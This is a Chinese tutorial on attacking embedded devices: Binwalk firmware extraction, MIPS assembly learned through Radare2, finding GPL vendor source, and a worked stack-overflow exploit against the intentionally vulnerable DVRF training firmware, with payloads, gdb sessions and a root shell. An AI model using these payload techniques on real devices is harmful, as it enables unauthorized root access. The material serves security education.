前言
在过去的几个月,我一直在研究如何攻破嵌入式设备,并将相关的知识讲解给大家。但考虑到幻灯片能展现的信息量极其有限,因此我想将所有内容都写出来,供大家在线阅读,认真理解消化。本文是这一系列的第一部分,主要向读者们介绍嵌入式设备的软件部分。
从二进制应用程序到驱动程序,大部分的漏洞都存在于软件栈(Software Stack)之中,因此我决定首先来讲解软件。在第二部分中我们会介绍硬件栈(Hardware Stack),重点会讲解JTAG的实际工作原理,以及如何修改硬件来绕过密码保护或者提取烧录到目标设备中的一些秘密。
1.使用Binwalk进行固件提取
当你已经获得了嵌入在设备中固件的二进制文件,你恐怕会情不自禁地想要一探究竟。这时,我们便可以借助名为Binwalk的开源工具,该工具能够解析目标二进制的魔术字节(Magic Bytes),下载地址为: https://github.com/devttys0/binwalk/tree/master/src/binwalk/magic
为了向大家展现一个直观的界面,我将使用Binwalk来提取DVRFv0.3。
通过binwalk -e file_name命令,可以提取二进制映像中的内容。
Binwalk将会显示在二进制文件内检测到的结构及其偏移量。
在vim中,使用xxd可以显示由binwalk为TRX和gzip提供的偏移量匹配。具体方法为:先使用vim打开DVRF_v03.bin,然后输入:%!xxd。
交叉引用Binwalk使用的TRX结构。
交叉引用Binwalk使用的gzip结构。
在vim中使用xxd来交叉引用Binwalk检测到的SquashFS结构的偏移量。
交叉引用Binwalk使用的SquashFS结构。
2. 了解目标ASM
如果你还没有对目标设备的ASM进行充分地了解,可以使用C和反汇编工具来快速对其进行了解。在我看来,以下是在对目标ASM进行掌握过程中需要重点关注的内容:
参数传递
函数入口和返回
栈的使用
函数的调用
分支条件
在这篇文章中,我将会亲自展示如何使用反汇编工具和C来对MIPS-I ASM进行分析。
2.1 参数传递
这是一个非常简单的C应用程序,其功能是将两个(int型)参数传递给另一个,并返回两个整数之和。
#include <stdio.h>
// Function that calls another function with some arguments.
// This will be below the max amount of a(x) registers.
// by b1ack0wl
void main(){
int a = 0;
int b = 0x41;
pass_args_to_me(a,b);
}
int pass_args_to_me(int a, int b){
return (a+b);
}
一旦我们已经交叉编译了C应用程序,我们就需要将其放入反汇编工具中进行分析。
实际上,你可以使用任何你喜欢的反汇编工具。针对本文的这些例子,我将使用Radare2。
=-------------------------------=
| [0x4003b0] |
| main: | // Disassembling the main() function
| (fcn) sym.main 68 |
| addiu sp, sp, -0x28 | // Adjust stack by 40 bytes
| sw ra, 0x24(sp) | // Return address is saved onto the Stack
| sw fp, 0x20(sp) | // Frame pointer is saved onto the Stack
| move fp, sp | // Move stack pointer to the frame pointer
| sw zero, 0x18(fp) | // Initialize int a to 0
| addiu v0, zero, 0x41 | // Add 0x41 to zero and store the result into $v0
| sw v0, 0x1c(fp) | // Initialize int b to 0x41
| lw a0, 0x18(fp) | // Load value of int a into $a0
| lw a1, 0x1c(fp) | // Load value of int b into $a1
| jal sym.pass_args_to_me ;[a] | // Jump and Link to the pass_args_to_me Function (RA = PC + 8)
| nop | // No instructions to execute when calling pass_args_to_me
| move sp, fp | // Move the frame pointer to the stack pointer register
| lw ra, 0x24(sp) | // Restore the previously saved Return Address
| lw fp, 0x20(sp) | // Restore the previously saved Frame Pointer address
| addiu sp, sp, 0x28 | // Adjust the offset by 40 bytes since we are leaving the function
| jr ra | // Jump to the address loaded in to $ra (return address register)
| nop | // No instruction to execute when jumping to the address in $ra
=-------------------------------=
在查看图表的同时,我们可以按“g”,然后查看pass_args_to_me函数。
=------------------------------=
| [0x4003f4] |
| (fcn) sym.pass_args_to_me 52 | // Disassembling the pass_args_to_me function
| addiu sp, sp, -8 | // Adjust stack address by 8 bytes (int = 4 bytes)
| sw fp, 4(sp) | // Save Frame pointer Address
| move fp, sp | // Move SP to FP (This is behavior is an indication that we're dealing with local variables)
| sw a0, 8(fp) | // Save int a into the frame pointer
| sw a1, 0xc(fp) | // Save int b into the frame pointer.
| lw v1, 8(fp) | // Load int a into $v1
| lw v0, 0xc(fp) | // Load int b into $v0
| addu v0, v1, v0 | // Add $v1 and $v0 and store the result into $v0
| move sp, fp | // Copy the frame pointer address into the stack pointer register ($sp)
| lw fp, 4(sp) | // Restore previously saved frame pointer
| addiu sp, sp, 8 | // Restore stack offset (8 bytes)
| jr ra | // Jump to the address loaded into $ra ($ra will point to the mov sp,fp instruction in main JAL = PC + 8 into $ra)
| nop |
=------------------------------=
请确保传递给函数的参数数量要大于可用参数寄存器的数量。例如,MIPS使用了$a0 – $a3,那么就让我们修改上面所写的代码,使其拥有4个以上的参数。
#include <stdio.h>
// Function that calls another function with some arguments.
// Passing more than 4 arguments to see what happens
// by b1ack0wl
void main(){
int a = 0;
int b = 1;
int c = 2;
int d = 3;
int e = 4;
int f = 5;
int g = 6;
int h = 7;
int i = 8;
int j = 9;
pass_args_to_me(a,b,c,d,e,f,g,h,i,j);
}
int pass_args_to_me(int a, int b, int c ,int d, int e, int f, int g ,int h, int i, int j){
return (a+b+c+d+e+f+g+h+i+j);
}
接下来,就像之前一样,我们使用交叉编译器进行编译。然后将其放入Radare2,以查看编译器生成的内容。
=-------------------------------=
| [0x4003b0] |
| main: |
| (fcn) sym.main 188 |
| addiu sp, sp, -0x60 |
| sw ra, 0x5c(sp) |
| sw fp, 0x58(sp) |
| move fp, sp |
| sw zero, 0x30(fp) | // Initialize int a to 0
| addiu v0, zero, 1 | // Perform (0+1) and store the unsigned result in register $v0
| sw v0, 0x34(fp) | // Store $v0 at this offset (int b = 1)
| addiu v0, zero, 2 | // Perform (0+2) and store the unsigned result in register $v0
| sw v0, 0x38(fp) | // Store $v0 at this offset (int c = 2)
| addiu v0, zero, 3 | // Perform (0+3) and store the unsigned result in register $v0
| sw v0, 0x3c(fp) | // Store $v0 at this offset (int d = 3)
| addiu v0, zero, 4 | // Perform (0+4) and store the unsigned result in register $v0
| sw v0, 0x40(fp) | // Store $v0 at this offset (int e = 4)
| addiu v0, zero, 5 | // Perform (0+5) and store the unsigned result in register $v0
| sw v0, 0x44(fp) | // Store $v0 at this offset (int f = 5)
| addiu v0, zero, 6 | // Perform (0+6) and store the unsigned result in register $v0
| sw v0, 0x48(fp) | // Store $v0 at this offset (int g = 6)
| addiu v0, zero, 7 | // Perform (0+7) and store the unsigned result in register $v0
| sw v0, 0x4c(fp) | // Store $v0 at this offset (int h = 7)
| addiu v0, zero, 8 | // Perform (0+8) and store the unsigned result in register $v0
| sw v0, 0x50(fp) | // Store $v0 at this offset (int i = 8)
| addiu v0, zero, 9 | // Perform (0+9) and store the unsigned result in register $v0
| sw v0, 0x54(fp) | // Store $v0 at this offset (int j = 9)
| lw v0, 0x40(fp) | /*
| sw v0, 0x10(sp) |
| lw v0, 0x44(fp) |
| sw v0, 0x14(sp) |
| lw v0, 0x48(fp) |
| sw v0, 0x18(sp) | This is all for passing the arguments for the function call but on the stack
| lw v0, 0x4c(fp) | (Variables int e ... int j)
| sw v0, 0x1c(sp) |
| lw v0, 0x50(fp) |
| sw v0, 0x20(sp) |
| lw v0, 0x54(fp) |
| sw v0, 0x24(sp) | */
| lw a0, 0x30(fp) | // Store local variable (int a) into register $a0 ($a0 = 0)
| lw a1, 0x34(fp) | // Store local variable (int b) into register $a0 ($a0 = 1)
| lw a2, 0x38(fp) | // Store local variable (int c) into register $a0 ($a0 = 2)
| lw a3, 0x3c(fp) | // Store local variable (int d) into register $a0 ($a0 = 3)
| jal sym.pass_args_to_me ;[a] | // Call function pass_args_to_me and store $PC+8 into register $ra
| nop | // No instruction performed before the call
| move sp, fp | // Function Exit. Store Address of the Frame Pointer into the Stack Pointer register ($sp)
| lw ra, 0x5c(sp) | // Restore the saved return address from the stack and load it into $ra
| lw fp, 0x58(sp) | // Restore the saved frame pointer address from the stack and load it into $fp (aka $s8)
| addiu sp, sp, 0x60 | // Restore stack offset adjustment
| jr ra | // Jump to the address in $ra
| nop | // No instruction to perform before the jump
=-------------------------------=
所以现在我们知道,如果有超过4个参数被传递给一个函数,那么其他参数将被压入栈中。
2.2 函数入口、调用及返回
在MIPS和基于ARM的处理器上,需要注意的一项是专用的返回地址寄存器。无论何时,只要在MIPS上执行“跳转和链接”(Jump and Link)指令,我们都知道该寄存器的地址是指令指针的当前地址再加上8个字节。其中,8字节的偏移量是由于流水线操作导致的,因为PC+4会在跳转发生之前执行。我们可以编译一个在最终返回到main()之前调用2个或更多函数的应用程序。
#include <stdio.h>
// Function callception!
// This is to analyze what happens when a function calls a function.
// by b1ack0wl
int call_one(); // declaration
int call_two(); // declaration
void main(){
int a = 0;
int b = 1;
call_one(a,b);
}
int call_one(int a, int b){
call_two();
return (a+b);
}
int call_two(){
return 1;
}
所以请记住,一个调用(JAL)会将$PC+8放入返回地址寄存器。但是,如果被调用函数调用了另一个函数,那么$ra寄存器将会被覆盖,此时被调用者的地址也随之丢失。为了防止这种情况,函数在输入时会首先将返回地址保存到栈中。掌握了这些知识后,我们将明白,除了call_two之外的所有函数,都会将返回地址保存到栈中,而call_two函数则不会调用其他任何函数。
=------------------------=
| [0x4003b0] |
| main: | // Start in Main but is called by the libc constructor
| (fcn) sym.main 68 |
| addiu sp, sp, -0x28 |
| sw ra, 0x24(sp) | // Saved Return Address
| sw fp, 0x20(sp) |
| move fp, sp |
| sw zero, 0x18(fp) |
| addiu v0, zero, 1 |
| sw v0, 0x1c(fp) |
| lw a0, 0x18(fp) |
| lw a1, 0x1c(fp) |
| jal sym.call_one ;[a] | // Call (Jump and Link) the function call_one
| nop |
| move sp, fp |
| lw ra, 0x24(sp) |
| lw fp, 0x20(sp) |
| addiu sp, sp, 0x28 |
| jr ra |
| nop |
=------------------------=
|
|
V
=------------------------=
| [0x4003f4] |
| (fcn) sym.call_one 68 | // Function call_one
| addiu sp, sp, -0x20 |
| sw ra, 0x1c(sp) | // Saved Return Address so we can jump back to main()
| sw fp, 0x18(sp) |
| move fp, sp |
| sw a0, 0x20(fp) |
| sw a1, 0x24(fp) |
| jal sym.call_two ;[a] | // Call (Jump and Link) the function call_two
| nop |
| lw v1, 0x20(fp) |
| lw v0, 0x24(fp) |
| addu v0, v1, v0 |
| move sp, fp |
| lw ra, 0x1c(sp) |
| lw fp, 0x18(sp) |
| addiu sp, sp, 0x20 |
| jr ra |
| nop |
=------------------------=
|
|
V
=-----------------------=
| [0x400438] |
| (fcn) sym.call_two 36 | // Function call_two
| addiu sp, sp, -8 |
| sw fp, 4(sp) |
| move fp, sp |
| addiu v0, zero, 1 |
| move sp, fp |
| lw fp, 4(sp) |
| addiu sp, sp, 8 |
| jr ra | // Since call_two does not call any other functions there is no need to save the return address onto the stack.
| nop |
=-----------------------=
因此,只要分析函数入口,我们就可以预测函数是否会调用另一个函数,这在尝试查找位于栈内的内存损坏漏洞时会非常有用。
2.3 分支条件
研究人员在分析新体系结构时,最需要了解的内容之一就是处理器如何处理分支。同样,我们将利用C和Radare2来分析这一点。
下面的应用程序,将从argv[1]中得到一个输入,并将其强制转换为int整型,并判断其是否小于5。
#include <stdio.h>
// What if....
// This is to analyze how basic branching works on MIPS
// by b1ack0wl
int main(int argc, char **argv[]){
if (argc < 2 ){
printf("Usage: %s number", argv[0]);
return 1;
}
int a = atoi(argv[1]); // cast argv[1] as an integer
if (a < 5) {
printf("%i is less than 5", a);
}
else{
printf("%i is greater than 5", a);
}
return 0;
}
现在,让我们看看编译器会生成什么来满足我们的条件。
=-------------------------=
| [0x4003b0] |
| main: | // Main Function
| (fcn) sym.main 260 |
| addiu sp, sp, -0x28 |
| sw ra, 0x24(sp) |
| sw fp, 0x20(sp) |
| move fp, sp |
| lui gp, 0x42 |
| addiu gp, gp, 0x680 |
| sw gp, 0x10(sp) |
| sw a0, 0x28(fp) | // Store argc
| sw a1, 0x2c(fp) | // Store argv[]
| lw v0, 0x28(fp) | // Load argc into the $v0 register
| slti v0, v0, 2 | // Set $v0 to 1 if the value of $v0 is less than 2, otherwise set it to 0.
| beqz v0, 0x400418 ;[a] | // If $v0 is equal take the "true" branch. (Branch if Equal to Zero)
| nop |
=-------------------------=
t f
.---------------' '--------------------------------.
| |
| |
=-------------------------= =-----------------------=
| 0x400418 | | 0x4003e4 |
| lw v0, 0x2c(fp) | // load argv[] | lw v0, 0x2c(fp) |
| addiu v0, v0, 4 | // offset +4 | lw v1, (v0) |
| lw v0, (v0) | // load argv[1] | lui v0, 0x40 |
| move a0, v0 | | addiu a0, v0, 0x70f0 | // Load Format String
| lw v0, -0x7fd0(gp) | // $v0 = atoi | move a1, v1 | // Load argv[0]
| move t9, v0 | // $t9 = $v0 | lw v0, -0x7fd4(gp) | // Resolve printf pointer and load it into $v0
| jalr t9 ; atoi | // call atoi | move t9, v0 | // Move $v0 into $t9
| nop | | jalr t9 ; printf | // Call printf which is in $t9 (Jump and Link Register)
| lw gp, 0x10(fp) | | nop |
| sw v0, 0x18(fp) | // int a | lw gp, 0x10(fp) |
| lw v0, 0x18(fp) | // load int a | addiu v0, zero, 1 | // Return 1
| slti v0, v0, 5 | // if < 5 | j 0x40049c ;[d] | // Exit function
| beqz v0, 0x400478 ;[b] | // true if $v0=0 | nop |
| nop | =-----------------------=
=-------------------------= v
t f |
.-------------' '---------------------------------. '--.
| | |
| | |
=-----------------------= =-----------------------= |
| 0x400478 | | 0x400450 | |
| lui v0, 0x40 | | lui v0, 0x40 | | // Block 0x400450 does the same as 0x400478
| addiu a0, v0, 0x7118 | // load format string | addiu a0, v0, 0x7104 | | // Just needs to jump due to where it sits.
| lw a1, 0x18(fp) | // int a printf arg | lw a1, 0x18(fp) | |
| lw v0, -0x7fd4(gp) | // load printf in $v0 | lw v0, -0x7fd4(gp) | |
| move t9, v0 | // move $v0 to $t9 | move t9, v0 | |
| jalr t9 ; printf | // call $t9 (printf) | jalr t9 ; printf | |
| nop | | nop | |
| lw gp, 0x10(fp) | | lw gp, 0x10(fp) | |
=-----------------------= | j 0x400498 ;[c] | | // Jump to Return 0 due to memory position
v | nop | |
| =-----------------------= |
'-----------------.
每当我们进行小于比较时,就能够看到slti指令的用法。由于涉及到大量的比较操作符和类型,条件语句是我们学习新汇编语言过程中耗时最多的部分。在这里,请参考C的引用,以确保已经分析了生成条件分支的所有不同方式。例如,在MIPS中,有一些使用有符号或无符号立即数的条件可能会被滥用。
现在,我们已经看过了一些例子,只要有一个编译器和反汇编工具,我们就可以借助它们来学习任何处理器的结构和汇编方法。如果不这样做,我们恐怕就要通过更加复杂的方式来进行学习,例如阅读处理器的开发者手册,最终设计你自己的汇编器、模拟器和反汇编器。
3. GPL
如果你正在对一个使用开源软件的设备进行分析,该软件很可能会根据通用公共授权(General Public License)进行许可。如果确实如此,那么开发人员在使用某段代码并编译的同时,必须提供源代码。假如开发人员拒绝提供源代码,那么就可以说是违反了GPL。
考虑到这一点,许多路由器或其他小型设备都使用Linux(或FreeRTOS)、Busybox和其他利用GPL的开源软件。因此,在开始反汇编之前,可以尝试Google搜索短语“$Vendor Source Code”(厂商源代码)或“$Product Source Code”(产品源代码)。以下是我通过Google搜索找到的一些示例源代码库。
三星(Samsung)开源发布中心:
http://opensource.samsung.com/reception.do
搜索条件:Samsung Source Code
华硕(ASUS)RT-AC68U源代码:
https://www.asus.com/us/Networking/RTAC68U/HelpDesk_Download/
搜索条件:AC-68U Source Code
贝尔金(Belkin)开源代码中心:
http://www.belkin.com/us/support-article?articleNum=51238
搜索条件:Belkin Source Code
TP-Link GPL代码中心:
http://www.tp-link.com/en/gpl-code.html
搜索条件:TP-Link Source Code
至此,想必大家已经了解如何轻松借助Google或是你最喜欢的搜索引擎,来查找你正在审计的设备的源代码。
4. 漏洞利用
阅读本节内容,需要掌握利用基于内存损坏(Memory Corruption)漏洞的基本知识,如果对于这一方面你还不甚了解,请参阅:http://smashthestack.org/ 。SmashtheStack是开启我x86漏洞研究旅程的地方。
如果你正在研究的是基于MIPS的Linux嵌入式设备,那么在分析目标二进制文件时,已经能够看到以下内容:
# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
如你所见,栈和堆区域都被标记为可执行,因此就不用担心NX。即使栈是可执行的,为了实现代码执行,也需要进行ROP。此外,你还会发现,ASLR在大多数设备上都没有成功实现,因此我们就不必最先去寻找信息泄露的漏洞。
4.1 模拟
一旦你使用Binwalk来提取固件,你就需要模拟二进制文件来分析崩溃。我个人使用的是静态版本的QEMU,其优点在于可以在解压缩固件的chroot环境中启动。这就使得漏洞利用者可以访问与嵌入式设备所使用相同的libc库,唯一会发生改变的就是libc地址。有时,可能需要创建一个完整的QEMU系统,因为一些主机可能不支持IO调用正在使用的二进制文件,从而会导致崩溃。
如果你使用的是基于Debian的Linux Distro,那么可以通过apt-get来安装QEMU,其命令为:
sudo apt-get install qemu-user-static qemu-system-*
当我们将QEMU安装完成,就需要将二进制文件复制到解压缩固件的根目录下。在本文中,我们将使用DVRF_v03的MIPS Little Endian模拟器,命令如下:
cp `which qemu-mipsel-static` ./
我们使用可攻破的二进制文件/pwnable/Intro/stack_bof_01并为其制作一个小小的漏洞,然后将我们的有效载荷粘贴到实际的设备上,看看会发生什么。
二进制文件的源代码如下:
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] ="";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>rn-By b1ack0wlrn");
exit(1);
}
printf("Welcome to the first BoF exercise!rnrn");
strcpy(buf, argv[1]);
printf("You entered %s rn", buf);
printf("Try Againrn");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/shrn- b1ack0wlrn");
system("/bin/sh -c");
exit(0);
}
这样一来,我们就有了一个简单的基于栈缓冲区的溢出漏洞。我们的目标是执行函数“dat_shell”,但在分析ELF文件时,我们看到了如下内容:
Entry point address: 0x00400630
由于我们的有效载荷中不能有NULL字节,因此我们必须进行部分覆盖。由于这是低字节序(Little Endian),所以我们可以覆盖3个最低字节,同时保持最高字节设置为NULL。如果架构是高字节序(Big Endian),该方法将不起作用。
为了演示模拟环境的能力,我将制作有效载荷,同时展示如何抓取所有加载的库的模拟地址。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
然后,我们将GDB本地映射到端口1234。
(gdb) target remote 127.0.0.1:1234
127.0.0.1:1234: Connection timed out.
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
0x767b9a80 in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41386741 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 37674136 41386741 68413967 31684130 41326841 68413368
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff634 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff558 37674136 41386741
sr lo hi bad cause pc
20000010 0000000a 00000000 41386740 00000000 41386741
fsr fir
00000000 00739300
我们看到PC被设置为A8gA,它位于偏移量204的位置,这也就是说保存的指令是在208字节,然而我们只覆盖这4个字节中的3个。
我们将再次尝试,但最终目标是实现$RA 0x00424242。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7BBB"
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
Program received signal SIGTRAP, Trace/breakpoint trap.
0x767b9a80 in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 00424242
sr lo hi bad cause pc
20000010 0000000a 00000000 00424242 00000000 00424242
fsr fir
00000000 00739300
(gdb) disass dat_shell
Dump of assembler code for function dat_shell:
0x00400950 <+0>: lui gp,0x5 /*
0x00400954 <+4>: addiu gp,gp,-31872 Skip over
0x00400958 <+8>: addu gp,gp,t9 */
0x0040095c <+12>: addiu sp,sp,-32 // This is where we need to jump to
0x00400960 <+16>: sw ra,28(sp)
0x00400964 <+20>: sw s8,24(sp)
0x00400968 <+24>: move s8,sp
0x0040096c <+28>: sw gp,16(sp)
由于考虑到应用程序会崩溃,我们希望跳过修改$gp的指令。因此,我们将跳转到0x0040095c。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\x5c\x09\x40'`"
Welcome to the first BoF exercise!
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7 @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
甚至,我们可以设置一个断点,以确保我们跳转到函数内正确的偏移值处。
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x767b9a80 in ?? ()
(gdb) break *0x0040095c
Breakpoint 1 at 0x40095c
(gdb) c
Continuing.
warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Breakpoint 1, 0x0040095c in dat_shell ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 0040095c
sr lo hi bad cause pc
20000010 0000000a 00000000 00000000 00000000 0040095c
fsr fir
00000000 00739300
(gdb) x/3i $pc
=> 0x40095c <dat_shell+12>: addiu sp,sp,-32
0x400960 <dat_shell+16>: sw ra,28(sp)
0x400964 <dat_shell+20>: sw s8,24(sp)
我们将相同的有效载荷放入嵌入式设备,其漏洞应该同样可以利用。
# cd /
# ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\x5c\x09\x40'`"
tered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag7 @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
id
uid=0(root) gid=0(root)
要在gdb中找到导入的库的地址,需要执行以下操作:
(gdb) set solib-search-path /<path to>/_DVRF_v03.bin.extracted/squashfs-root/lib/
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x76767b00 0x76774c20 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x766eb710 0x7671c940 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0
0x767b9a80 0x767bd800 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
我们将表中“From”地址减去入口点地址,即可得到基地址(Base Address)。例如,通过执行以下操作,可以找到libc.so.0的基地址:
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib $ readelf -a ./libc.so.0 | more
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x6710 // Address to subtract
libc.so.0 = 0x766eb710 – 0x6710 = 0x766E5000
随后,我们可以利用Radare2反汇编库,并得到指令的偏移量。
**[Radare2]**
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ r2 ./lib/libc.so.0
-- Remember to maintain your ~/.radare_history
[0x00006710]> aaaa
[0x00006710]> s sym.printf
[0x000179e0]> // This is the offset we need to add in order to get to printf
**[GDB]**
(gdb) x/10i 0x766E5000+0x000179e0
0x766fc9e0 <printf>: lui gp,0x7 // Same Instructions as Radare2 (gdb values in decimal vs hex)
0x766fc9e4 <printf+4>: addiu gp,gp,-17424
0x766fc9e8 <printf+8>: addu gp,gp,t9
0x766fc9ec <printf+12>: addiu sp,sp,-40
0x766fc9f0 <printf+16>: sw ra,32(sp)
0x766fc9f4 <printf+20>: sw gp,16(sp)
0x766fc9f8 <printf+24>: lw v0,-30788(gp)
**[Radare2]**
[0x000179e0]> pd
/ (fcn) sym.printf 88
| 0x000179e0 07001c3c lui gp, 7 // Same Instructions as seen in Radare2
| 0x000179e4 f0bb9c27 addiu gp, gp, -0x4410
| 0x000179e8 21e09903 addu gp, gp, t9
| 0x000179ec d8ffbd27 addiu sp, sp, -0x28
| 0x000179f0 2000bfaf sw ra, 0x20(sp)
| 0x000179f4 1000bcaf sw gp, 0x10(sp)
| 0x000179f8 bc87828f lw v0, -0x7844(gp)
